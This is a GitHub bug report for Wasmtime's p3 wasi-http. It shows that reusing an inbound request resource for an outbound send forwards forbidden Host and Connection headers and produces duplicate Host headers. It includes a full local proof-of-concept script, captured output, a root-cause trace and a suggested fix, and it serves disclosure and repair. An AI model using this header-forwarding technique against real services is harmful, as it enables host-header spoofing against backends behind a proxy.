Skip to content

p3 wasi-http forwards forbidden inbound headers (Host, Connection, …) when a request resource is reused for outbound client::send #13801

Description

@sdjasj

Test Case

No upload is needed — the vulnerable workload is a p3 wasi-http service component that is built inline by the reproduction script in Steps to Reproduce. Its full source (≈40 lines) is shown first so the report is fully
self-contained:

// crates-style minimal p3 http service: forward the inbound request to a URL
// given in an `url` header, reusing the SAME request resource.
use test_programs::p3::{
    service::exports::wasi::http::handler::Guest as Handler,
    wasi::http::{
        client,
        types::{ErrorCode, Request, Response, Scheme},
    },
};

struct Component;

test_programs::p3::service::export!(Component);

impl Handler for Component {
    async fn handle(request: Request) -> Result<Response, ErrorCode> {
        // Read the destination URL from a request header, then **reuse** the
        // inbound `Request` resource (with all its original headers) as the
        // outbound request by only changing scheme/authority/path.
        let headers = request.get_headers().copy_all();
        let url = headers
            .iter()
            .find_map(|(name, value)| {
                (name == "url").then(|| core::str::from_utf8(value).ok()).flatten()
            })
            .ok_or_else(|| ErrorCode::InternalError(Some("missing url header".into())))?;

        let rest = url
            .strip_prefix("http://")
            .ok_or_else(|| ErrorCode::InternalError(Some("expected http URL".into())))?;
        let (authority, path) = match rest.find('/') {
            Some(i) => (&rest[..i], &rest[i..]),
            None => (rest, "/"),
        };

        request.set_scheme(Some(&Scheme::Http)).unwrap();
        request.set_authority(Some(authority)).unwrap();
        request.set_path_with_query(Some(path)).unwrap();

        client::send(request).await
    }
}

fn main() {}

A guest cannot create Host / Connection / Transfer-Encoding headers
through the normal Fields API — HostFields::{from_list,set,append} reject
DEFAULT_FORBIDDEN_HEADERS (crates/wasi-http/src/lib.rs:76). The bug is that a
guest that receives a p3 incoming Request can reuse that same resource as
an outbound request, and the forbidden headers attached to the inbound request
cross the trust boundary into the outbound backend request.

Steps to Reproduce

Copy-paste the entire script below into a file (e.g. poc.sh) and run it
from a Wasmtime source checkout. It needs only cargo, rustc (with the
wasm32-wasip1 target), python3, and a C toolchain. It builds a tiny p3
service component inline, encodes it, starts wasmtime serve, sends an inbound
request carrying Host: victim.internal + Connection: close, and captures the
raw bytes that reach a local backend socket.

#!/usr/bin/env bash
set -euo pipefail

# Run from a Wasmtime source checkout, or: WASMTIME_ROOT=/path/to/wasmtime ./poc.sh
ROOT="${WASMTIME_ROOT:-$(pwd)}"
if [[ ! -d "$ROOT/crates/wasi-http" ]]; then
  echo "error: $ROOT is not a Wasmtime checkout (set WASMTIME_ROOT)" >&2
  exit 1
fi
cd "$ROOT"

WORK="$(mktemp -d "${TMPDIR:-/tmp}/wasmtime-p3-header-poc.XXXXXX")"
trap 'rm -rf "$WORK"' EXIT
COMPONENT_DIR="$WORK/component"
ENCODER_DIR="$WORK/encoder"
COMPONENT_WASM="$WORK/p3_host_forward_component.component.wasm"
mkdir -p "$COMPONENT_DIR/src" "$ENCODER_DIR/src"

# --- tiny p3 service component (source shown in Test Case) ---
cat > "$COMPONENT_DIR/Cargo.toml" <<EOF
[workspace]

[package]
name = "p3-host-forward-component"
version = "0.1.0"
edition = "2024"

[dependencies]
test-programs = { path = "$ROOT/crates/test-programs" }
EOF

cat > "$COMPONENT_DIR/src/main.rs" <<'EOF'
use test_programs::p3::{
    service::exports::wasi::http::handler::Guest as Handler,
    wasi::http::{
        client,
        types::{ErrorCode, Request, Response, Scheme},
    },
};

struct Component;

test_programs::p3::service::export!(Component);

impl Handler for Component {
    async fn handle(request: Request) -> Result<Response, ErrorCode> {
        let headers = request.get_headers().copy_all();
        let url = headers
            .iter()
            .find_map(|(name, value)| {
                (name == "url")
                    .then(|| core::str::from_utf8(value).ok())
                    .flatten()
            })
            .ok_or_else(|| ErrorCode::InternalError(Some("missing url header".into())))?;

        let rest = url
            .strip_prefix("http://")
            .ok_or_else(|| ErrorCode::InternalError(Some("expected http URL".into())))?;
        let (authority, path) = match rest.find('/') {
            Some(i) => (&rest[..i], &rest[i..]),
            None => (rest, "/"),
        };

        request.set_scheme(Some(&Scheme::Http)).unwrap();
        request.set_authority(Some(authority)).unwrap();
        request.set_path_with_query(Some(path)).unwrap();

        client::send(request).await
    }
}

fn main() {}
EOF

# --- helper to encode the wasm module into a component ---
cat > "$ENCODER_DIR/Cargo.toml" <<EOF
[workspace]

[package]
name = "p3-host-forward-encoder"
version = "0.1.0"
edition = "2024"

[dependencies]
anyhow = "1"
wit-component = "0.251.0"
EOF

cat > "$ENCODER_DIR/src/main.rs" <<'EOF'
use anyhow::{Context, bail};
use std::{env, fs};
use wit_component::ComponentEncoder;

fn main() -> anyhow::Result<()> {
    let args = env::args().collect::<Vec<_>>();
    if args.len() != 4 {
        bail!("usage: {} <module.wasm> <adapter.wasm> <out.component.wasm>", args[0]);
    }
    let module = fs::read(&args[1]).with_context(|| format!("read {}", args[1]))?;
    let adapter = fs::read(&args[2]).with_context(|| format!("read {}", args[2]))?;
    let component = ComponentEncoder::default()
        .module(&module)?
        .validate(true)
        .adapter("wasi_snapshot_preview1", &adapter)?
        .encode()?;
    fs::write(&args[3], component).with_context(|| format!("write {}", args[3]))?;
    Ok(())
}
EOF

echo "[*] Building the p3 service component"
cargo build --manifest-path "$COMPONENT_DIR/Cargo.toml" --target wasm32-wasip1 >/dev/null

ADAPTER="$(ls -t "$ROOT"/target/debug/build/test-programs-artifacts-*/out/wasi_snapshot_preview1.reactor.wasm 2>/dev/null | head -n1 || true)"
if [[ -z "$ADAPTER" ]]; then
  echo "[*] Reactor adapter not found; building test-programs artifacts once"
  cargo build -p test-programs-artifacts >/dev/null
  ADAPTER="$(ls -t "$ROOT"/target/debug/build/test-programs-artifacts-*/out/wasi_snapshot_preview1.reactor.wasm | head -n1)"
fi

echo "[*] Encoding the component"
cargo run --manifest-path "$ENCODER_DIR/Cargo.toml" -- \
  "$COMPONENT_DIR/target/wasm32-wasip1/debug/p3-host-forward-component.wasm" \
  "$ADAPTER" \
  "$COMPONENT_WASM" >/dev/null

WASMTIME="$ROOT/target/debug/wasmtime"
if [[ ! -x "$WASMTIME" ]]; then
  WASMTIME="$ROOT/target/release/wasmtime"
fi
if [[ ! -x "$WASMTIME" ]]; then
  echo "[*] wasmtime binary not found; building target/debug/wasmtime"
  cargo build --bin wasmtime >/dev/null
  WASMTIME="$ROOT/target/debug/wasmtime"
fi

echo "[*] Running the network proof"
PYTHONWARNINGS=ignore python3 - "$ROOT" "$COMPONENT_WASM" "$WASMTIME" <<'PY'
import socket
import subprocess
import sys
import threading
import time
from pathlib import Path

root = Path(sys.argv[1])
component = Path(sys.argv[2])
wasmtime = Path(sys.argv[3])

capture = {}
ready = threading.Event()

def backend():
    srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    srv.bind(("127.0.0.1", 0))
    srv.listen(1)
    capture["backend_port"] = srv.getsockname()[1]
    ready.set()
    conn, _ = srv.accept()
    data = b""
    conn.settimeout(5)
    while b"\r\n\r\n" not in data:
        chunk = conn.recv(4096)
        if not chunk:
            break
        data += chunk
    capture["raw"] = data
    conn.sendall(b"HTTP/1.1 200 OK\r\nContent-Length: 2\r\nConnection: close\r\n\r\nOK")
    conn.close()
    srv.close()

threading.Thread(target=backend, daemon=True).start()
if not ready.wait(5):
    raise SystemExit("backend did not start")
backend_port = capture["backend_port"]

s = socket.socket()
s.bind(("127.0.0.1", 0))
serve_port = s.getsockname()[1]
s.close()

serve = subprocess.Popen(
    [
        str(wasmtime),
        "serve",
        "-S",
        "cli",
        "--addr",
        f"127.0.0.1:{serve_port}",
        str(component),
    ],
    cwd=str(root),
    stdout=subprocess.PIPE,
    stderr=subprocess.STDOUT,
    text=True,
)

try:
    deadline = time.time() + 20
    while time.time() < deadline:
        try:
            c = socket.create_connection(("127.0.0.1", serve_port), timeout=0.2)
            c.close()
            break
        except OSError:
            if serve.poll() is not None:
                out = serve.stdout.read() if serve.stdout else ""
                raise SystemExit(f"wasmtime exited early:\n{out}")
            time.sleep(0.1)
    else:
        raise SystemExit("wasmtime serve did not start")

    inbound = (
        f"GET /trigger HTTP/1.1\r\n"
        f"Host: victim.internal\r\n"
        f"Connection: close\r\n"
        f"url: http://127.0.0.1:{backend_port}/forwarded\r\n"
        f"\r\n"
    ).encode()
    c = socket.create_connection(("127.0.0.1", serve_port), timeout=5)
    c.sendall(inbound)
    c.settimeout(5)
    while True:
        try:
            chunk = c.recv(4096)
        except socket.timeout:
            break
        if not chunk:
            break
    c.close()

    raw = capture.get("raw", b"")
    text = raw.decode("latin1", "replace")
    print("----- backend raw request -----")
    print(text)
    print("----- verification -----")
    host_lines = [l for l in text.split("\r\n") if l.lower().startswith("host:")]
    conn_lines = [l for l in text.split("\r\n") if l.lower().startswith("connection:")]
    print("host lines:", host_lines)
    print("connection lines:", conn_lines)
    assert any(l == "host: victim.internal" for l in host_lines), "inbound Host not forwarded"
    assert any(l.startswith("host: 127.0.0.1:") for l in host_lines), "backend Host not appended"
    assert len(host_lines) >= 2, "duplicate Host headers not observed"
    assert any(l == "connection: close" for l in conn_lines), "Connection header not forwarded"
    print("POC VERIFIED: forbidden inbound headers crossed into the outbound backend request")
finally:
    serve.terminate()
    try:
        serve.wait(timeout=5)
    except subprocess.TimeoutExpired:
        serve.kill()
        serve.wait()
PY

Expected Results

  • The outbound request reaching the backend should contain only one Host
    header — the one Wasmtime derives from the outbound authority
    (127.0.0.1:<backend-port>).
  • The attacker-supplied inbound Host: victim.internal must not be present
    in the outbound request.
  • Hop-by-hop headers such as Connection must not be forwarded to the
    backend (they are in DEFAULT_FORBIDDEN_HEADERS and are rejected when a guest
    tries to set them on a freshly created Fields).

Actual Results

The backend receives the inbound request's headers unchanged, forwarded across
the trust boundary, plus a second Host appended for the backend
authority. Verified output (timestamps/ports vary):

----- backend raw request -----
GET /forwarded HTTP/1.1
host: victim.internal
host: 127.0.0.1:34567
connection: close
url: http://127.0.0.1:34567/forwarded

----- verification -----
host lines: ['host: victim.internal', 'host: 127.0.0.1:34567']
connection lines: ['connection: close']
POC VERIFIED: forbidden inbound headers crossed into the outbound backend request

So:

  • Duplicate, conflicting Host headers (victim.internal and the real backend)
    reach the backend — an attacker-controlled inbound Host survives into the
    outbound request.
  • The Connection hop-by-hop header is forwarded to the backend, despite being
    forbidden for guest-created outbound requests.

Versions and Environment

Wasmtime version or commit: dev-74-g2753ee7393 (commit 2753ee7393,
main, with the p3 feature)

Operating system: Linux (Ubuntu, kernel 5.15.0-139-generic)

Architecture: x86-64

Toolchain: stable Rust with the wasm32-wasip1 target, python3.

Extra Info

Root cause (all line numbers against current main):

  • crates/wasi-http/src/handler.rs:1240 — incoming p3 proxy requests are turned into p3 Request resources via p3::Request::from_http(request).
  • crates/wasi-http/src/p3/request.rs:92126from_http stores the inbound headers unchanged at line 122: FieldMap::new_immutable(headers). Nothing strips DEFAULT_FORBIDDEN_HEADERS.
  • crates/wasi-http/src/p3/request.rs:213221 — when the reused request is turned back into an outbound HTTP request, into_http_with_getter appends a Host for the outbound authority (headers.append(HOST, host)) without first removing any existing Host, yielding duplicate Host headers.
  • crates/wasi-http/src/p3/request.rs:238244 — the outbound http::Request is built from this unchanged header map, so the inbound Host and Connection are carried on the wire.
  • crates/wasi-http/src/lib.rs:7685Host, Connection, Transfer-Encoding, etc. are defined as DEFAULT_FORBIDDEN_HEADERS.
  • crates/wasi-http/src/p3/host/types.rs:198288 — guest-created fields reject exactly these forbidden headers, so the reuse path bypasses the API-level restriction that the regular Fields API enforces.

Suggested fix: when constructing p3 incoming requests from host HTTP requests, strip DEFAULT_FORBIDDEN_HEADERS before storing them in the p3 Request, matching the p2 new_incoming_request behavior. Additionally, into_http_with_getter should replace any existing Host value rather than append a second one.

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugIncorrect behavior in the current implementation that needs fixingwasi-httpIssues and PRs related to the wasi-http proposal

    Type

    No type

    Fields

    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions